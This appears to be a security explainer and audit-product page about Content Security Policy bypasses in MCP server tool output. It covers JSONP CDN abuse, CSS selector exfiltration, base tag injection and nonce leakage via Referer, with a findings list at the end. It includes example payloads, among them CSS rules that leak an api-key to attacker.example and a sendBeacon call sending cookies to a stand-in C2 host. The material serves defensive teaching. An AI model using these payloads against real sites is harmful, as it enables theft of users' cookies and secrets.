MCP Server Security · CSP Bypass · JSONP CDN Abuse · CSS Injection Exfiltration · base-uri Injection · CSP Nonce Leakage

MCP server Content Security Policy bypass security

Content Security Policy is the primary browser-enforced defense against injected scripts in MCP tool output — but four common CSP misconfigurations each create reliable bypass paths. JSONP endpoints on allowlisted CDNs permit arbitrary JavaScript execution. unsafe-inline in style-src enables CSS-only data exfiltration without any script. An unset base-uri directive allows relative-path script hijacking. And CSP nonces leak via Referer headers to third-party destinations, allowing nonce reuse. A CSP that appears strict may be bypassable through any one of these vectors.

Bypass 1: JSONP endpoints on allowlisted CDNs

A JSONP (JSON with Padding) endpoint accepts a callback parameter and wraps its JSON response in a JavaScript function call: callbackName({"key":"value"}). When a CDN that hosts JSONP endpoints is listed in script-src, an injected script tag can invoke those endpoints with an arbitrary callback parameter — causing the CDN to serve a JavaScript expression that executes in the page context.






<script src="https://code.jquery.com/jquery-3.7.1.min.js?callback=alert(document.cookie)//"></script>



Most CDN allowlists are exploitable via JSONP. The Google Fonts CDN (fonts.googleapis.com) does not have JSONP endpoints, but Google's API CDN (apis.google.com) does. Bootstrap CDN, cdnjs.cloudflare.com, and unpkg.com all host libraries that historically served JSONP endpoints. A CSP that allows any CDN for legitimate library loading almost always includes at least one JSONP-capable endpoint that can be exploited if the attacker can inject a script tag.

Bypass 2: CSS attribute selector exfiltration via unsafe-inline style

When style-src includes 'unsafe-inline', an injected <style> block can use CSS attribute selectors to exfiltrate data one character at a time — without any JavaScript. CSS selectors can match elements based on attribute values, and set background images to attacker URLs that encode the matched character. A style block that probes every possible first character of an input value, triggering a background URL request for each match, leaks the value character by character:

/* CSS exfiltration: no JavaScript required
   Injected via unsafe-inline style-src bypass
   Leaks the value of an input with name="api-key" one character at a time */

/* Each rule probes one possible starting character */
input[name="api-key"][value^="a"] { background: url(https://attacker.example/leak?c=a) }
input[name="api-key"][value^="b"] { background: url(https://attacker.example/leak?c=b) }
input[name="api-key"][value^="c"] { background: url(https://attacker.example/leak?c=c) }
/* ... repeat for all 94 printable ASCII characters */

/* After observing which URL was fetched (tells attacker first char is e.g. 's'),
   inject a new style block probing second character: */
input[name="api-key"][value^="sa"] { background: url(https://attacker.example/leak?c=sa) }
input[name="api-key"][value^="sb"] { background: url(https://attacker.example/leak?c=sb) }
/* ... and so on, recovering the full value character by character */

This technique requires multiple injections (one per character position) but requires no script execution. A script-src 'nonce-...' policy that also has style-src 'unsafe-inline' is vulnerable to CSS exfiltration even if the JavaScript XSS is blocked.

Bypass 3: base-uri injection for relative script hijacking

The <base> HTML element sets the base URL for all relative URLs in the document. When base-uri is not set in CSP, an attacker who can inject HTML can inject a <base> tag that redirects all relative-path script loads, link hrefs, and form action targets to an attacker-controlled domain:






<base href="https://attacker.example/">



<script src="/js/app.js" nonce="abc123"></script>


base-uri is missing from most deployed CSP policies. An analysis of CSP policies in the wild (Weichselbaum et al., 2016; replicated in 2023) found that fewer than 5% of CSP policies include a base-uri directive. This means the majority of CSP-protected pages that load any scripts via relative paths are vulnerable to <base> injection if the attacker can inject HTML into the page.

Bypass 4: CSP nonce leakage via Referer header

Nonce-based CSP (script-src 'nonce-{random}') is secure only if the nonce is unguessable and unexposed. If the page includes the nonce in a URL parameter (e.g., for debugging or logging), and that URL is navigated to or linked to a cross-origin resource, the nonce is sent in the Referer header to the destination — where the attacker can extract it and construct a valid script tag:






<img src="https://analytics.example/pixel">




<script nonce="abc456">
  // Executes! Nonce matches the page's CSP
  navigator.sendBeacon('https://c2.attacker.example/', document.cookie);
</script>

CSP bypass risk by directive

CSP DirectiveCommon MisconfigurationBypass Type
script-srcIncludes CDN with JSONP endpointJSONP callback → arbitrary script execution
style-srcIncludes 'unsafe-inline'CSS attribute selector → character-by-character data exfiltration
base-uriNot set (absent)Base tag injection → relative script path hijacking
script-src 'nonce'Nonce appears in URL parameterReferer leakage → nonce reuse for injected script
script-src'unsafe-eval' presentAngular/Vue template expression injection → eval() execution
connect-srcWildcard (*) or absentUnrestricted fetch/XHR → data exfiltration to any origin

SkillAudit findings

Critical MCP server script-src allowlist includes a CDN domain that hosts known JSONP endpoints — HTML injection in tool output can execute arbitrary JavaScript via JSONP callback parameter
High MCP server style-src includes 'unsafe-inline' — HTML injection in tool output can use CSS attribute selector patterns to exfiltrate form values, data attributes, or URL parameters character by character without JavaScript
High MCP server CSP does not include a base-uri directive — HTML injection in tool output can inject a <base> tag to redirect all relative-path script loading to an attacker-controlled origin
Medium MCP server URL structure includes the CSP nonce as a query parameter — nonce is transmitted in Referer headers to third-party resources, enabling nonce reuse by an observer
Medium MCP server CSP includes 'unsafe-eval' in script-src — enables eval()-based code execution from injected strings, bypassing CSP source allowlisting for dynamic expressions
Low MCP server CSP connect-src uses a wildcard or is absent — fetch/XHR in tool output can send data to any origin; CSP provides no data exfiltration control

Related: Web Worker Security · Trusted Types Security · Fetch Metadata Security · Run a SkillAudit →